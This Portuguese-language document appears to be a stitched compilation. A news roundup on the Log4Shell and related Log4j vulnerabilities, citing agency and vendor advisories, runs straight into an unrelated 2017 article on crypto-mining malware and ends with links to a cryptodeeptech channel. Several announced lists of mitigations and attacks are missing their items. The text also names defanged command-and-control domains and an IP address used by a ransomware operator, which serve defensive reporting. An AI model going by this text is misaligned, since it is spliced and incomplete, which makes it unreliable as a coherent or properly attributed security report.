A Apache divulgou detalhes sobre uma vulnerabilidade crítica no Log4j, uma biblioteca de logging utilizada em milhões de aplicações baseadas em Java. Os atacantes começaram a explorar a falha (CVE-2021-44228) – apelidada de "Log4Shell", que foi classificada com 10 em 10 na escala de classificação de vulnerabilidade CVSS. Poderia levar à execução remota de código (RCE) em servidores subjacentes que executam aplicações vulneráveis. "Um atacante que consiga controlar mensagens de log ou parâmetros de mensagens de log pode executar código arbitrário carregado de servidores LDAP quando a substituição de pesquisa de mensagens está ativada", escreveram os desenvolvedores da Apache num aviso. Uma correção para o problema foi disponibilizada com o lançamento do Log4j 2.15.0, enquanto equipas de segurança de todo o mundo trabalhavam para proteger as suas organizações. As empresas foram instadas a instalar a versão mais recente.
À medida que as consequências da vulnerabilidade continuavam, o Centro Nacional de Cibersegurança do Reino Unido (NCSC) emitiu um aviso público para empresas do Reino Unido sobre a falha e delineou estratégias de mitigação. O NCSC aconselhou todas as organizações a instalar a atualização mais recente imediatamente onde quer que o Log4j seja conhecido por ser utilizado. "Esta deve ser a primeira prioridade para todas as organizações do Reino Unido que utilizam software que sabe-se que inclui Log4j. As organizações devem atualizar tanto o software virado para a internet como o software não virado para a internet", lia-se na declaração. As empresas foram também instadas a procurar instâncias desconhecidas de Log4j e a implementar monitorização/bloqueio de rede protetora.
Tal como o NCSC do Reino Unido, a Agência de Segurança Cibernética e de Infraestrutura dos EUA (CISA) respondeu publicamente à vulnerabilidade do Log4j, com a diretora Jen Easterly a refletir sobre o desafio urgente que esta representava para os defensores de rede. "A CISA está a trabalhar em estreita colaboração com os nossos parceiros dos setores público e privado para abordar proativamente uma vulnerabilidade crítica que afeta produtos que contêm a biblioteca de software Log4j", disse ela numa declaração. "Estamos a tomar medidas urgentes para impulsionar a mitigação desta vulnerabilidade e detetar qualquer atividade de ameaça associada. Adicionámos esta vulnerabilidade ao nosso catálogo de vulnerabilidades exploradas conhecidas, o que obriga as agências civis federais – e sinaliza para parceiros não federais – a corrigir ou remediar urgentemente esta vulnerabilidade. Estamos a contactar proativamente entidades cujas redes possam estar vulneráveis e estamos a aproveitar as nossas ferramentas de scanning e deteção de intrusões para ajudar parceiros governamentais e da indústria a identificar exposição ou exploração da vulnerabilidade."
A CISA recomendou que os proprietários de ativos tomassem três medidas adicionais e imediatas para ajudar a mitigar a vulnerabilidade:
Foi descoberta uma segunda vulnerabilidade a impactar o Apache Log4j. O novo exploit, CVE-2021-45046, permitia que atores maliciosos criassem dados de entrada maliciosos usando um padrão de pesquisa JNDI para criar ataques de negação de serviço (DoS), de acordo com a descrição CVE. Uma nova correção para o exploit foi disponibilizada, que removia o suporte para padrões de pesquisa de mensagens e desativava a funcionalidade JNDI por defeito, sendo que a correção do Log4j 2.15.0 para a falha original estava incompleta em certas configurações não predefinidas.
"Embora o CVE-2021-45046 seja menos grave do que a vulnerabilidade original, torna-se outro vetor para os atores de ameaças realizarem ataques maliciosos contra sistemas não corrigidos ou corrigidos inadequadamente", disse Amy Chang, responsável pelo risco e resposta na Resilience, ao CSO pouco depois da descoberta da falha. "A correção incompleta do CVE-2021-44228 poderia ser abusada para criar dados de entrada maliciosos, o que poderia resultar num ataque DoS. Um ataque DoS pode desligar uma máquina ou rede e torná-la inacessível aos seus utilizadores pretendidos", acrescentou. As organizações foram aconselhadas a atualizar para o Log4j 2.16.0 o mais rapidamente possível.
A Apache publicou detalhes de uma terceira grande vulnerabilidade do Log4j e disponibilizou mais uma correção. Esta era uma falha de recursão infinita classificada com 7,5 em 10. "A equipa do Log4j foi informada de uma vulnerabilidade de segurança, CVE-2021-45105, que foi resolvida no Log4j 2.17.0 para Java 8 e superior", escreveu. "As versões 2.0-alpha1 a 2.16.0 do Apache Log4j2 não protegiam contra recursão não controlada a partir de pesquisas autorreferenciais. Quando a configuração de logging utiliza um Layout de Padrão não predefinido com uma Pesquisa de Contexto (por exemplo, $${ctx:loginId}), os atacantes com controlo sobre os dados de entrada do Mapa de Contexto de Thread (MDC) podem criar dados de entrada maliciosos que contêm uma pesquisa recursiva, resultando num StackOverflowError que termina o processo. Isto também é conhecido como um ataque de negação de serviço (DoS)."
A Apache também delineou as seguintes mitigações:
O grupo de investigação em cibersegurança Cryptolaemus alertou que a vulnerabilidade do Log4j estava a ser explorada para infetar dispositivos Windows com o Trojan bancário Dridex e dispositivos Linux com Meterpreter. O Dridex é uma forma de malware que rouba credenciais bancárias através de um sistema que utiliza macros do Microsoft Word, enquanto o Meterpreter é uma payload de ataque do Metasploit que fornece uma shell interativa a partir da qual um atacante pode explorar uma máquina alvo e executar código. O membro do Cryptolaemus, Joseph Roosen, disse ao BleepingComputer que os atores de ameaças usam a variante de exploit RMI (Remote Method Invocation) do Log4j para forçar dispositivos vulneráveis a carregar e executar uma classe Java a partir de um servidor remoto controlado pelo atacante.
Dados divulgados pelo fornecedor de cibersegurança Tenable revelaram que um em cada dez ativos estava vulnerável ao Log4Shell, enquanto 30% das organizações ainda não tinham começado a procurar a falha. "Dos ativos que foram avaliados, o Log4Shell foi encontrado em aproximadamente 10% deles, incluindo uma vasta gama de servidores, aplicações web, contentores e dispositivos IoT", lia-se numa publicação no blog da Tenable. "O Log4Shell é generalizado em todas as indústrias e geografias. Um em cada dez servidores corporativos expostos. Uma em cada dez aplicações web e assim por diante. Um em cada dez de quase todos os aspetos da nossa infraestrutura digital tem potencial para exploração maliciosa através do Log4Shell."
O fornecedor alertou que o Log4Shell representa uma ameaça potencial maior do que o EternalBlue (explorado nos ataques WannaCry) devido à omnipresença do Log4j tanto na infraestrutura como nas aplicações. "Nenhuma vulnerabilidade única na história apelou tão descaradamente por remediação. O Log4Shell definirá a computação como a conhecemos, separando aqueles que se esforçam para se proteger e aqueles que se sentem confortáveis em ser negligentes", acrescentou.
A Federal Trade Commission (FTC) instou as organizações dos EUA a corrigirem a vulnerabilidade Log4Shell imediatamente ou a arriscarem ações punitivas da agência. “Quando vulnerabilidades são descobertas e exploradas, existe o risco de perda ou violação de informações pessoais, perda financeira e outros danos irreversíveis. O dever de tomar medidas razoáveis para mitigar vulnerabilidades de software conhecidas envolve leis, entre outras, a Lei Federal Trade Commission Act e a Lei Gramm Leach Bliley Act,” a FTC disse. Acrescentou que é crucial que as empresas e seus fornecedores que dependem do Log4j ajam agora para reduzir a probabilidade de danos aos consumidores e evitar ações legais da FTC. “A FTC pretende usar toda a sua autoridade legal para processar empresas que não tomarem medidas razoáveis para proteger os dados dos consumidores contra exposição como resultado do Log4j, ou vulnerabilidades conhecidas semelhantes no futuro.”
Microsoft atualizou sua página de orientação sobre a vulnerabilidade Log4j com detalhes de um operador de ransomware baseado na China (DEV-0401) visando sistemas expostos à Internet e implantando o ransomware NightSky. “Já em 4 de janeiro, os atacantes começaram a explorar a vulnerabilidade CVE-2021-44228 em sistemas expostos à Internet executando VMware Horizon,” escreveu. “O DEV-0401 implantou anteriormente várias famílias de ransomware, incluindo LockFile, AtomSilo e Rook, e também explorou sistemas expostos à Internet executando Confluence (CVE-2021-26084) e servidores Exchange locais (CVE-2021-34473).” Com base na análise da Microsoft, foram descobertos atacantes usando servidores de comando e controle (CnC) que falsificam domínios legítimos. Estes incluem service[.]trendmrcio[.]com, api[.]rogerscorp[.]org, api[.]sophosantivirus[.]ga, apicon[.]nvidialab[.]us, w2zmii7kjb81pfj0ped16kg8szyvmk.burpcollaborator[.]net, e 139[.]180[.]217[.]203.
Segurança 101: O Impacto do Malware de Mineração de Criptomoedas
O governo australiano acabou de reconhecer moeda digital como método de pagamento legal. Desde 1º de julho, compras realizadas com moedas digitais como bitcoin estão isentas do Imposto sobre Bens e Serviços do país para evitar dupla tributação. Assim, traders e investidores não serão tributados por comprar e vender através de plataformas de câmbio legais.
Japão, que legitimou bitcoin como forma de pagamento em abril passado, já espera que mais de 20.000 comerciantes aceitem pagamentos em bitcoin. Outros países estão aderindo, embora parcialmente: empresas e algumas organizações públicas na Suíça, Noruega, e Países Baixos. Em um estudo recente, usuários únicos e ativos de carteiras de criptomoedas são estimados entre 2,9 e 5,8 milhões, a maioria na América do Norte e Europa.
Mas o que a aceitação e adoção de moedas digitais têm a ver com ameaças online? Muito, na verdade. À medida que criptomoedas como bitcoin ganham tração no mundo real, também aumentam as ameaças cibercriminosas que as abusam. Mas como, exatamente? O que isso significa para empresas e usuários comuns?
Criptomoeda é uma string de dados criptografados que denota uma unidade de moeda. É monitorada e organizada por uma rede peer-to-peer também conhecida como blockchain, que também serve como um registro seguro de transações, por exemplo, compra, venda e transferência. Diferente do dinheiro físico, as criptomoedas são descentralizadas, o que significa que não são emitidas por governos ou outras instituições financeiras.
As criptomoedas são criadas (e protegidas) através de algoritmos criptográficos que são mantidos e confirmados em um processo chamado mineração, onde uma rede de computadores ou hardware especializado como circuitos integrados de aplicação específica (ASICs) processam e validam as transações. O processo incentiva os mineradores que executam a rede com a criptomoeda.
Na verdade, existem mais de 700 criptomoedas, mas apenas algumas são negociadas prontamente e ainda menos têm capitalização de mercado acima de US$ 100 milhões. Bitcoin, por exemplo, foi criado por Satoshi Nakamoto (pseudônimo) e lançado em 2009 como código aberto. A tecnologia blockchain fez tudo funcionar, fornecendo um sistema onde estruturas de dados (blocos) são transmitidas, validadas e registradas em um banco de dados público e distribuído através de uma rede de endpoints de comunicação (nós).
Embora bitcoin seja a criptomoeda mais famosa, existem outras alternativas populares. Ethereum elevou os “contratos inteligentes” a um novo nível, tornando as linguagens de programação necessárias para codificá-los mais acessíveis aos desenvolvedores. Acordos, ou transações condicionais/se-então, são escritos como código e executados (desde que os requisitos sejam atendidos) no blockchain da Ethereum.
Ethereum, no entanto, ganhou notoriedade depois que um hacker explorou uma vulnerabilidade na Organização Autônoma Digital (DAO) executando no software da Ethereum, desviando US$ 50 milhões em ether (a moeda da Ethereum). Isso resultou no desenvolvimento de Ethereum Classic, baseado no blockchain original, e Ethereum, sua versão atualizada (via um hard fork).
Existem também outras criptomoedas notáveis: Litecoin, Dogecoin, Monero. Litecoin é uma melhoria técnica supostamente do Bitcoin que é capaz de retornos mais rápidos através de seu algoritmo de mineração Scrypt (Bitcoin usa SHA-256). A Rede Litecoin é capaz de produzir 84 milhões de Litecoins—quatro vezes mais unidades de criptomoeda emitidas pelo Bitcoin. Monero é notável pelo uso de assinaturas em anel (um tipo de assinatura digital) e pelo protocolo de camada de aplicação CryptoNote para proteger a privacidade de suas transações—valor, origem e destino. Dogecoin, que foi inicialmente desenvolvido para fins educacionais ou de entretenimento, foi projetado para um público mais amplo. Capaz de gerar dogecoins ilimitados, também usa Scrypt para impulsionar a moeda.
As criptomoedas não têm fronteiras—qualquer pessoa pode enviá-las a qualquer hora e em qualquer lugar, sem atrasos ou cobranças adicionais/ocultas de intermediários. Dada sua natureza, elas são mais seguras contra fraudes e roubo de identidade, pois as criptomoedas não podem ser falsificadas e as informações pessoais estão por trás de uma parede criptográfica.
Infelizmente, a mesma aparente lucratividade, conveniência e pseudonimato das criptomoedas também as tornaram ideais para cibercriminosos, como operadores de ransomware mostraram. A crescente popularidade das criptomoedas coincide com as incidências de malware que infectam sistemas e dispositivos, transformando-os em exércitos de máquinas de mineração de criptomoedas.
A mineração de criptomoedas é uma tarefa computacionalmente intensiva que requer recursos significativos de processadores dedicados, placas gráficas e outros hardwares. Embora a mineração gere dinheiro, existem muitas ressalvas. O lucro é relativo ao investimento do minerador em hardware, sem mencionar os custos de eletricidade para alimentá-los.
As criptomoedas são mineradas em blocos; no bitcoin, por exemplo, cada vez que um certo número de hashes é resolvido, o número de bitcoins que podem ser concedidos ao minerador por bloco é reduzido pela metade. Como a rede bitcoin é projetada para gerar a criptomoeda a cada 10 minutos, a dificuldade de resolver outro hash é ajustada. E à medida que o poder de mineração aumenta, o requisito de recursos para minerar um novo bloco aumenta. Os pagamentos são relativamente pequenos e eventualmente diminuem a cada quatro anos—em 2016, a recompensa por minerar um bloco foi reduzida pela metade para 12,5 BTC (ou US$ 32.000 em 5 de julho de 2017). Consequentemente, muitos se unem em pools para tornar a mineração mais eficiente. O lucro é dividido entre o grupo, dependendo do esforço que cada minerador exerceu.
Os bandidos recorrem ao uso de malware para contornar esses desafios. No entanto, há uma ressalva para mineradores cibercriminosos: dispositivos e máquinas conectados à Internet, embora rápidos o suficiente para processar dados de rede, não possuem capacidades extensivas de processamento numérico. Para compensar isso, os malwares de mineração de criptomoedas são projetados para transformar em zumbis botnets de computadores para realizar essas tarefas. Outros evitaram completamente a sutileza—em 2014, o cluster de supercomputadores Odyssey de Harvard foi usado para minerar dogecoins ilicitamente. Durante o mesmo ano, um incidente semelhante aconteceu com os supercomputadores da agência dos EUA National Science Foundation. No início de fevereiro de 2017, um dos servidores do Federal Reserve dos EUA foi mal utilizado para minerar bitcoins.
Os malwares de mineração de criptomoedas empregam o mesmo modus operandi de muitas outras ameaças—desde e-mails de spam contendo malware e downloads de URLs maliciosas até junkware e aplicativos potencialmente indesejados (PUAs). Em janeiro de 2014, uma vulnerabilidade na rede de anúncios baseada em Java do Yahoo! foi comprometida, expondo usuários finais europeus a malvertisements que entregavam um malware de mineração de bitcoin. Um mês antes, as autoridades alemãs prenderam hackers por supostamente usar malware para minerar mais de US$ 954.000 em bitcoins.
Vimos o surgimento de ferramentas de hacking e backdoors relacionadas à mineração de bitcoin por cibercriminosos já em 2011, e desde então vimos uma variedade de ameaças de mineração de criptomoedas que adicionam mais capacidades, como ataque distribuído de negação de serviço e spoofing de URL. Outra até tentou se passar por um componente de um dos produtos da Trend Micro. Em 2014, a ameaça migrou para dispositivos Android como Kagecoin, capaz de minerar bitcoin, litecoin e dogecoin. Um trojan de acesso remoto (RAT) njrat/Njw0rm amplamente compartilhado no submundo do Oriente Médio foi modificado para adicionar funcionalidade de mineração de bitcoin. O mesmo foi feito com um antigo Java RAT que pode minerar litecoin.
Os malwares de mineração de criptomoedas notáveis deste ano até agora são Adylkuzz, CPUMiner/EternalMiner e Linux.MulDrop.14. Todos exploram vulnerabilidades. Adylkuzz aproveita o EternalBlue, a mesma falha de segurança que o ransomware WannaCry usou para efeitos destrutivos, enquanto CPUMiner/EternalMiner usou SambaCry, uma vulnerabilidade no conjunto de software de interoperabilidade Samba. Linux.MulDrop.14, um Trojan Linux, tem como alvo dispositivos Raspberry Pi. Essas ameaças infectaram dispositivos e máquinas e os transformaram em botnets de mineração de monero.
Os malwares de mineração de criptomoedas roubam os recursos das máquinas infectadas, afetando significativamente seu desempenho e aumentando seu desgaste. Uma infecção também envolve outros custos, como aumento do consumo de energia.
Mas também descobrimos que seu impacto vai além de problemas de desempenho. De 1º de janeiro a 24 de junho de 2017, nossos sensores detectaram 4.894 mineradores de bitcoin que desencadearam mais de 460.259 atividades de mineração de bitcoin, e descobriram que mais de 20% desses mineradores também desencadearam ataques baseados em web e rede. Encontramos até tentativas de intrusão ligadas ao vetor de ataque de um ransomware. Os ataques mais prevalentes que vimos foram:
Esses malwares podem ameaçar a disponibilidade, integridade e segurança de uma rede ou sistema, o que pode resultar em interrupções nas operações críticas de uma empresa. Roubo de informações e sequestro de sistema também são repercussões assustadoras. Esses ataques também podem ser o canal pelo qual malwares adicionais são entregues.
Dispositivos da Internet das Coisas (IoT) também estão na mira de malwares de mineração de criptomoedas—desde gravadores de vídeo digital (DVRs)/câmeras de vigilância, set-top boxes, armazenamento conectado à rede (NAS), e especialmente roteadores, dada sua ubiquidade em ambientes domésticos e corporativos. Em abril de 2017, uma variante do Mirai surgiu com capacidades de mineração de bitcoin. A notoriedade do Mirai surgiu do estrago que causou em dispositivos IoT, particularmente roteadores domésticos, usando-os para derrubar sites de alto perfil no ano passado. Nos primeiros três trimestres de 2016, detectamos um exército zumbi de mineração de bitcoin composto por sistemas Windows, roteadores domésticos e câmeras IP.
De 1º de janeiro a 24 de junho de 2017, também observamos diferentes tipos de dispositivos que estavam minerando bitcoin, embora nossa telemetria não possa verificar se essas atividades eram autorizadas. Também vimos um aumento de 40% nas atividades de mineração de bitcoin, de 1.800 eventos acionados diariamente em fevereiro para 3.000 em março de 2017.
Embora a mineração de bitcoin não seja inerentemente ilegal (pelo menos em muitos países), pode implicar um comprometimento se não tiver o conhecimento e consentimento do proprietário. Descobrimos que máquinas rodando Windows tiveram mais atividades de mineração de bitcoin, mas também dignas de nota são:
[LEIA: Como proteger seu roteador contra Mirai e ataques à rede doméstica]
Malware de mineração de criptomoedas pode prejudicar o desempenho do sistema e colocar em risco usuários finais e empresas contra roubo de informações, sequestro e uma infinidade de outros malwares. E ao transformar essas máquinas em zumbis, o malware de criptomoedas pode até mesmo, inadvertidamente, tornar suas vítimas parte do problema.
De fato, seu impacto adverso nos dispositivos que infectam—e, em última análise, nos ativos de uma empresa ou nos dados de um usuário—os torna uma ameaça crível. Não existe bala de prata para esses malwares, mas eles podem ser mitigados seguindo estas melhores práticas:
Administradores de TI/sistemas e profissionais de segurança da informação também podem considerar a whitelisting de aplicações ou mecanismos de segurança semelhantes que impeçam a execução ou instalação de executáveis suspeitos. O monitoramento proativo do tráfego de rede ajuda a identificar melhor bandeiras vermelhas que podem indicar infecção por malware. Aplicar o princípio do menor privilégio, desenvolver contramedidas contra injeções web, proteger o gateway de e-mail, implementar melhores práticas para dispositivos móveis corporativos e cultivar uma força de trabalho consciente em segurança cibernética fazem parte de uma abordagem de defesa em profundidade para reduzir a exposição da empresa a essas ameaças. No entanto, em última análise, a segurança dos dispositivos conectados à Internet contra malware de mineração de criptomoedas não é apenas um fardo para os seus utilizadores. Os fabricantes originais de design e equipamento também desempenham papéis vitais na segurança dos ecossistemas em que operam.
Telegram: https://t.me/cryptodeeptech
Vídeo: https://youtu.be/PNDBjoT83zA
Fonte: https://cryptodeeptech.ru/log4j-vulnerability
